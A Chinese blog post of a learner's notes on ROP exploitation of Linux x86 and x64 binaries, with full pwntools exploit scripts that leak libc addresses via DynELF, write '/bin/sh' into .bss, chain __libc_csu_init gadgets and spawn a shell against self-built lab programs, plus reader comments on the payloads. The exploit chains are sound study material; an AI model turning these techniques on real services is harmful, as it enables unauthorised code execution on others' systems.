学习——>一步一步学ROP之linux_x64篇

还是蒸米大神的:https://jiji262.github.io/wooyun_articles/drops/一步一步学ROP之linux_x64篇.html

哎,乌云怎么就挂了呢

Memory Leak & DynELF – 在不获取目标libc.so的情况下进行ROP攻击

这里是上一节的补充,还是x86的rop.

绕过DEP和ROP是有libc的情况下才能准确计算出偏移,没有的时候怎么办

这时候就需要通过memory leak(内存泄露)来搜索内存找到system()的地址。

那么先要实现一个leak函数,当然最少要泄露1 byte的数据,我们之前是4字节

还是level2那个程序,作者给出如下:

def leak(address):
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
return data

那我们尝试解析一下,可以看到跟我们之前用write@plt函数写出write在内存中的地址的payload是一样的,只不过我们现在不是去读write@GOT的地址,而是将那个地址作为参数传入,那么我们就可以不断去读内存中4个字节的数据。

下面是我的猜想:既然能读到连续4字节的数据,而system函数的机器码一般肯定是固定或者是有特定的特征的,将读出了的数据跟我们设定好的东西进行比较或者,那么就可以

之后初始化DynELF对象

d = DynELF(leak, elf=ELF('./level2'))

然后可以通过调用system_addr = d.lookup('system', 'libc')来得到libc.so中system()在内存中的地址

遗憾的是获取不到/bin/sh的地址,那我们就只能找一些地址是固定的地方写入我们的/bin/sh字符串了

据说.bss段就是了,它用来保存全局变量的值的,地址固定,并且可以读可写。

直接用readelf就可以看到了

-S –section-headers   Display the sections' header  显示节区头

root@kali:~/learn_rop# readelf -S ./rop_x86
共有 30 个节头,从偏移量 0xf68 开始:
节头:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048134 000134 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048148 000148 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048168 000168 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0804818c 00018c 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481ac 0001ac 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804820c 00020c 000050 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804825c 00025c 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048268 000268 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             08048288 000288 000008 08   A  5   0  4
  [10] .rel.plt          REL             08048290 000290 000020 08  AI  5  12  4
  [11] .init             PROGBITS        080482b0 0002b0 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080482e0 0002e0 000050 04  AX  0   0 16
  [13] .text             PROGBITS        08048330 000330 0001d2 00  AX  0   0 16
  [14] .fini             PROGBITS        08048504 000504 000014 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048518 000518 000016 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        08048530 000530 000034 00   A  0   0  4
  [17] .eh_frame         PROGBITS        08048564 000564 0000dc 00   A  0   0  4
  [18] .init_array       INIT_ARRAY      08049640 000640 000004 00  WA  0   0  4
  [19] .fini_array       FINI_ARRAY      08049644 000644 000004 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049648 000648 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         0804964c 00064c 0000e8 08  WA  6   0  4
  [22] .got              PROGBITS        08049734 000734 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08049738 000738 00001c 04  WA  0   0  4
  [24] .data             PROGBITS        08049754 000754 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804975c 00075c 000004 00  WA  0   0  1
  [26] .comment          PROGBITS        00000000 00075c 000039 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 000795 000106 00      0   0  1
  [28] .symtab           SYMTAB          00000000 00089c 000450 10     29  45  4
  [29] .strtab           STRTAB          00000000 000cec 000279 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

可以看到我们bss段的地址 0x0804975c

 [25] .bss              NOBITS          0804975c 00075c 000004 00  WA  0   0  1

我们调用read函数将我们/bin/sh写入.bss段,read函数需要3个参数

ssize_t read (int fd, void *buf, size_t count);

这里fd就是0,标准输入

buf就是我们的.bss段的地址

count为字节数

之后我们还有调用搜索出来的system函数,必须把这几个参数从栈上弹出,

那么我们就要寻找pop pop pop ret这样的指令序列,就是大神们说的gadget

这里蒸米说直接objdump查找,我找不到好办法

直接-d参数去搜索

先看看可能那里存在,再去寻找

blob.png

从下到上按这几个地址找,很快就找到了,这个一般都在函数的末尾处,因为这些代码一般用于平衡堆栈

blob.png

那么3个pop +ret,的地址是0x80484ed 

最终的exp: 

from pwn import *
elf = ELF("./rop_x86")
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vul_func = 0x0804842b
def leak(address):
payload1 = 'a' * 140 + p32(plt_write) + p32(vul_func) + p32(1) + p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
p = process("./rop_x86")
# p = remote("127.0.0.1", 10002)
d = DynELF(leak, elf=ELF("./rop_x86"))
system_addr = d.lookup('system', 'libc')
print "system_addr = " + hex(system_addr)
pop3ret = 0x080484ed
bss_addr = 0x0804975c
payload = 'a' * 140 + p32(plt_read) + p32(pop3ret) + p32(0) + p32(bss_addr) + p32(8)
payload += p32(system_addr) + p32(vul_func) + p32(bss_addr)
p.send(payload)
p.send("/bin/sh\0")
p.interactive()

运行结果,结果挂了,能泄露出system的地址,但是后面的就不能反回shell了

blob.png

调试发现system是调用了的

blob.png

参数也是没问题

blob.png

最终停止这条指令不能动了,退出了

blob.png

这个不是太懂,跟着再搜索堆溢出的时候搜到的一篇文章,作者利用原生的system和本例的进行对比

http://purpleroc.com/MD/[email protected]

作者说,整个流程是:system调用do_system,而后do_system调用execve来启动程序。

里面可以看到传入execve的第三个参数不同,即环境变量那个参数,我们的exp启动的程序中,第三个参数指向数值为0x100的地址,而标准程序则指向环境变量区。

其实作者说由于动态获取system地址的时候,由于重复read操作,造成环境变量被重写,从而引发不能正常getshell。

这是有问题的,我觉得是因为我们leak system的地址的时候,重复的write操作,又没有push操作,那么我们输入的数据就会不断地往高处覆盖,最后就覆盖了指向环境变量的栈的地址的值,导致不能getshell

那既然这样,我们把write一次打印出来8字节,这样看看应该不会覆盖了

blob.png

作者可以,我不行,我就干脆改成一次泄露16字节,就可以了

blob.png

作者最终的解决方案是返回地址设置成main,而不是漏洞函数,这样便于堆栈平衡的修复

我粘贴过来吧,地址改一下就好了

from pwn import *
import pwnlib
elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
add_esp = 0x80482f9
main_addr = 0x0804842D 
def leak(address):
    payload1 = 'a'*140 + p32(add_esp) + p32(0) + p32(add_esp) + p32(0) + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)  
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data
p = process('./level2')
d = DynELF(leak, elf=ELF('./level2'))
system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)
bss_addr = 0x0804a020
pppr = 0x80484bd
payload2 = 'a'*140 + p32(add_esp) + p32(0) + p32(add_esp) + p32(0) + p32(plt_read) + p32(main_addr) + p32(0) + p32(bss_addr) + p32(8)
print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")
pwnlib.gdb.attach(p)
payload3 = 'a'*140 + p32(add_esp) + p32(0) + p32(add_esp) + p32(0) + p32(system_addr) + p32(main_addr) + p32(bss_addr) + p32(0)
print "\n###sending payload3 ...###"
p.send(payload3+'\n')
p.interactive()

linux_64与linux_86的区别

直接粘贴过来

blob.png

再搞个例子学习学习,自己敲,下面的两个宏,跟0,1等价的,STDIN_FILENO-》0 ,STDOUT_FILENO-》1

blob.png

aslr还是开着,编译

blob.png

程序很简单,我们将返回地址覆盖成那个callsystem函数的地址就行

看一下它的地址

blob.png

我们可以静态计算也可以利用插件

先用插件

blob.pngblob.png

PC指针并没有指向类似于0x41414141那样地址,而是停在了vulnerable_function()函数的ret指令中。

原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。

那么我们查看当前的栈顶就知道了返回地址被覆盖成什么了,x是查看内存,g是64位地址,第二个x是16进制形式查看

blob.png

其实不上ida也能猜出来,那个buf是128,刚好是8的倍数(64位系统,8字节),不用补全,

128 + 8(rbp),就是136了

那开始写exp吧

from pwn import *
p = process("./mylevel3")
callsystem = 0x0000000000400596
payload = 'a' * 136 + p64(callsystem)
p.send(payload)
p.interactive()

运行,可以

blob.png

使用工具寻找gadgets

因为64位的前64个参数在寄存器上,所以我们要找类似于pop rdi;ret这样的组件

如果简单的,直接objdump找找看就好

复杂的话,一些有名工具粘贴过来了

ROPEME: https://github.com/packz/ropeme
Ropper: https://github.com/sashs/Ropper
ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master
rp++: https://github.com/0vercl0k/rp

我们再编写一个程序level4,我就编一个mylevel4吧

加上ldl才编译成功(上网查的:是因为确实了dlopen、dlsym、dlerror、dlclose这些函数的实现,这几个函数是用于加载动态链接库的,编译的时候需要添加-ldl来使用dl库(这是静态库,在系统目录下/usr/lib/i386-linux-gnu/libdl.a、/usr/lib/x86_64-linux-gnu/libdl.a)。)

blob.png

作者特意打印出system的地址,这样我们就不用管aslr了,

直接找rop组件吧,将/bin/sh传给rdi

原来应该是装pwntools的时候就装好了

blob.png

使用ROPGadget搜索一下level4中所有pop ret的gadgets

blob.png

rp++直接下载下来,放到PATH目录就行了

blob.png

可以看到都是一样的

blob.png

作者编译的程序没有那个组件,而我的就有,作者的解决是重libc里面找

libc比较大,找了很久,我们将libc的基地址加上这个地址就好了

blob.png

作者说下面这个也可以用作rop,我们都试一下吧

blob.png

看看运行后的程序,首先打印出system的地址,再是hello world,最后等待我们输入

blob.png

使用第一个payload,payload2也是可以的,我测试过了,就不截图了

blob.png

我们尝试将/bin/sh写到bss段,不用libc的/bin/sh

那么作为read的第3个参数,0x200的自己的大小,够用了,我们不用给第三个参数传值

blob.png

最终exp,3种payload都在里面了

# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
libc =  ELF("./libc.so.6")
elf = ELF("./mylevel4")
p = process("./mylevel4")
read_plt = elf.plt['read']
read_got = elf.got['read']
bss_addr = 0x0000000000600cc0
vulfunc_addr = 0x4007c5
binsh_addr_offset = next(libc.search("/bin/sh")) - libc.symbols['system']
print "binsh_addr_offset = 0x%x" % binsh_addr_offset
# 程序中的pop ret
my_pop_ret_addr = 0x0000000000400893
# 程序中的pop rsi pop r15 ret
my_pop_pop_ret = 0x00400891
# libc中的pop ret
pop_ret_offset = 0x0000000000022442 - libc.symbols['system']
print "pop_ret_offset= 0x%x" % pop_ret_offset
# 另一个选择的rop链
pop_pop_call_offset = 0x00000000000e6049 -libc.symbols['system']
print "pop_pop_call_offset = 0x%x" % pop_pop_call_offset
# 获取system的地址
print "\n##########receiving system addr##########\n"
system_addr = p.recvuntil("\n")
system_addr = int(system_addr, 16) 
print "system_addr = 0x%x"  % system_addr
print "\n##########calc addr##########\n"
# 收到system的地址后就计算各个rop组件的首地址了
binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr)
pop_ret_addr = system_addr + pop_ret_offset
print "pop_ret_addr = " + hex(pop_ret_addr)
pop_pop_call_addr = system_addr + pop_pop_call_offset
print "pop_pop_call_addr = " + hex(pop_pop_call_addr)
# 接收打印出来的HelloWorld
p.recv()
# 第一种思路,构造payload,利用pop_ret_addr
payload = "a" * 136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
# 第三种思路
# 先写入/bin/sh
my_payload1 = "a" * 136 + p64(my_pop_ret_addr) + p64(0) + p64(my_pop_pop_ret) + p64(bss_addr) + p64(1) +  p64(read_plt) + p64(vulfunc_addr)
p.send(my_payload1)
p.send("/bin/sh\x00")
my_payload2 = "a" * 136 + p64(my_pop_ret_addr) + p64(bss_addr) + p64(system_addr)
# 第二种思路的payload
payload2 = "a" * 136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr) 
# p.send(payload)
p.send(my_payload2)
# p.send(payload2)
p.interactive()

通用gadgets

接下来我们删掉辅助函数,编写mylevel5.c

blob.png

编译

blob.png

objdump反编译一下

objdump -d ./mylevel5

00000000004005a0 <__libc_csu_init>:
  4005a0:41 57                push   %r15
  4005a2:41 89 ff             mov    %edi,%r15d
  4005a5:41 56                push   %r14
  4005a7:49 89 f6             mov    %rsi,%r14
  4005aa:41 55                push   %r13
  4005ac:49 89 d5             mov    %rdx,%r13
  4005af:41 54                push   %r12
  4005b1:4c 8d 25 d0 01 20 00 lea    0x2001d0(%rip),%r12        # 600788 <__frame_dummy_init_array_entry>
  4005b8:55                   push   %rbp
  4005b9:48 8d 2d d0 01 20 00 lea    0x2001d0(%rip),%rbp        # 600790 <__init_array_end>
  4005c0:53                   push   %rbx
  4005c1:4c 29 e5             sub    %r12,%rbp
  4005c4:31 db                xor    %ebx,%ebx
  4005c6:48 c1 fd 03          sar    $0x3,%rbp
  4005ca:48 83 ec 08          sub    $0x8,%rsp
  4005ce:e8 0d fe ff ff       callq  4003e0 <_init>
  4005d3:48 85 ed             test   %rbp,%rbp
  4005d6:74 1e                je     4005f6 <__libc_csu_init+0x56>
  4005d8:0f 1f 84 00 00 00 00 nopl   0x0(%rax,%rax,1)
  4005df:00 
  4005e0:4c 89 ea             mov    %r13,%rdx
  4005e3:4c 89 f6             mov    %r14,%rsi
  4005e6:44 89 ff             mov    %r15d,%edi
  4005e9:41 ff 14 dc          callq  *(%r12,%rbx,8)
  4005ed:48 83 c3 01          add    $0x1,%rbx
  4005f1:48 39 eb             cmp    %rbp,%rbx
  4005f4:75 ea                jne    4005e0 <__libc_csu_init+0x40>
  4005f6:48 83 c4 08          add    $0x8,%rsp
  4005fa:5b                   pop    %rbx
  4005fb:5d                   pop    %rbp
  4005fc:41 5c                pop    %r12
  4005fe:41 5d                pop    %r13
  400600:41 5e                pop    %r14
  400602:41 5f                pop    %r15
  400604:c3                   retq   
  400605:66 66 2e 0f 1f 84 00 data16 nopw %cs:0x0(%rax,%rax,1)
  40060c:00 00 00 00

我们可以看到,我们可以控制这几个寄存器

blob.png

那么我们利用上面控制的值,进而控制下面的edi,rsi,rdx这个决定前三个参数的寄存器

blob.png

还看到下面还有个call,假如我们将rbx置为0,控制r12,就控制了PC(RIP),去执行我们想要执行的函数什么的了。

调用完call,将rbx+1(本来为0,+1就是1了)接下来就比较rbp与rbx的值,相等就继续往下执行,最后到底ret,所以我们将rbp置为1,程序就往下执行,ret回去后控制权又交给我们了

还有,rdi= edi = r13, rsi = r14, rdx = r15,他们是等价的,但是在我的程序里面就不是那样了,第一个和第三个刚好跟它相反了,rdi= edi = r15, rsi = r14, rdx = r13,所以下面的payload也要改一下

首先我们要获得write的地址,调用got_write输出got_write的地址就好了,目标是下面那样

write(rdi=1, rsi=write.got, rdx=8) 64位地址,所以输出8个字节

blob.png

接下来就将system的地址和/bin/sh写入bss段

blob.png

system地址放在bss的首地址,/bin/sh就是首地址+8了,既然有了,就开始构造payload,调用了blob.png

开始写exp吧,注意的是写入system地址和/bin/sh的时候,要暂停一下,等程序处理完再发送我们的system地址和/bin/sh,不然那边处理不过来

# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
libc = ELF("./libc.so.6")
elf = ELF("./mylevel5")
p = process("./mylevel5")
main = 0x0000000000400566
bss_addr = 0x00000000006009c0
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
system_offset =  libc.symbols['write'] - libc.symbols['system'] 
p.recvuntil("Hello, World\n")
# get write  addr 
payload1 =  "\x00"*136
# rbx rbp r12 r13(rdx)r14=rsi r15=rdi=edi
payload1 += p64(0x4005fa) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write) + p64(1) # pop_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005e0) #  mov %r13,%rdx;mov %r14,%rsi;mov %r15d,edi;callq (r12+rbx*8)
payload1 += "\x00"*56 #因为我们最后esp+8,pop了6次,所以7*8=56
payload1 += p64(main) #最后再调用main函数,继续执行漏洞函数
print "\n#############sending payload1 to get write_addr#############\n"
p.send(payload1)
write_addr = u64(p.recv(8))
# print u64(write_addr)
print "write_addr = " + hex(write_addr)
# calc system addr
system_addr =  write_addr - system_offset 
print "system_addr = " + hex(system_addr)
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
# rbx rbp r12     r13(rdx)r14=rsi r15=rdi=edi
payload2 += p64(0x4005fa) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005e0) # mov %r13,%rdx;mov %r14,%rsi;mov %r15d,edi;callq (r12+rbx*8)
payload2 += "\x00"*56
payload2 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload2 to write system_addr and /bin/sh#############\n"
p.send(payload2)
sleep(1) #
payload2_1 = p64(system_addr) + "/bin/sh\x00"
p.send(payload2_1)
p.recvuntil("Hello, World\n")
#system("/bin/sh")
payload3 =  "\x00"*136
# rbx      rbp  r12(system=bss) r13(rdx)r14=rsi edi
payload3 += p64(0x4005fa) + p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005e0) # mov %r13,%rdx;mov %r14,%rsi;mov %r15d,edi;callq (r12+rbx*8)
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3 to get shell#############\n"
p.send(payload3)
p.interactive()

运行结果:

blob.png

EDB调试器

https://github.com/eteran/edb-debugger   

linux下的图形化调试器,其实是跨平台的,支持32+64位哦,看来很强大

原来kali自带,我还下载编译安装,呵呵了,结果google搜edb-debugger kali, tools.kali.org就有这工具,直接在命令行输入edb就好了

我们用上面的例子试一下调试吧,attach上去,首先我们在payload1前加个等待用户输入,

blob.png

跟着attach上去blob.png

跟od的快捷键应该差不多,ctrl+g,我们去一下我们payload开始执行的地方吧

blob.png

唯一不好的地方就是没高亮当前选中的行,双击一下地址处就下断点,或者右键选中下断点也可以

blob.png

接下来f9或点击run

blob.png

在我们的python脚本的命令行回车,发送payload1,那么就暂停下来了

blob.png接下来就可以玩od一样玩了,其实做得还可以了

学完了,挺有收获的,好了,下次继续学习蒸米下一篇….

打赏
微信
支付宝
微信二维码图片

微信扫描二维码打赏

支付宝二维码图片

支付宝扫描二维码打赏

学习——>一步一步学ROP之linux_x64篇》上有5条评论

  1. Xing

    请问楼主,在mylevel5的exp中,payload3构造时候,为什么不能够直接用system的地址,将“/bin/sh”写入bss段中,直接实现system(“/bin/sh”)而是先把system的地址写入.bss段中,再将“/bin/sh”写入bss段中,最后从bss段中取出地址再执行呢?是不是多此一举了….

    回复
  2. XIng

    在level5中,为什么得到了system的地址后还要利用read将其写入.bss段中,不能够直接调用其地址吗,只将“/bin/sh”字符串写入.bss段中 。是不是多此一举了?

    回复
    1. giantbranch 文章作者

      因为这里是rdi传参的,不是通过栈上传递参数(不知道你是不是想这方向去了),只能通过gadgets传参并调用吧

      回复
      1. XIng

        不不,不是这个意思哈,是这样的,先通过read将”/bin/sh”写入.bss段中,之后,构造payload时,这样(原本的):
        payload3 += p64(0x4005fa) + p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
        改成:
        payload3 += p64(0x4005fa) + p64(0) + p64(1) + p64(system_addr) + p64(0) + p64(0) + p64(bss_addr) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
        system_addr已经通过write函数泄露的地址偏移计算出来了,为什么我要把它写到.bss段中呢?直接调用就可以吧?
        这样实际上也是在执行system(“/bin/sh”)啊,我试验时发现不行,也不知道是为什么,可能是我对指令理解有偏差

        回复
        1. giantbranch 文章作者

          我改成你的payload,调试了一下发现,其实不调试也应该发现的,没办法,笨,
          call QWORD PTR [r12+rbx*8],那个gadgets的call是读取r12地址里面储存的去调用而不是直接call r12+rbx*8,
          所以要储存到某个地方咯

          回复

XIng 发表评论 取消回复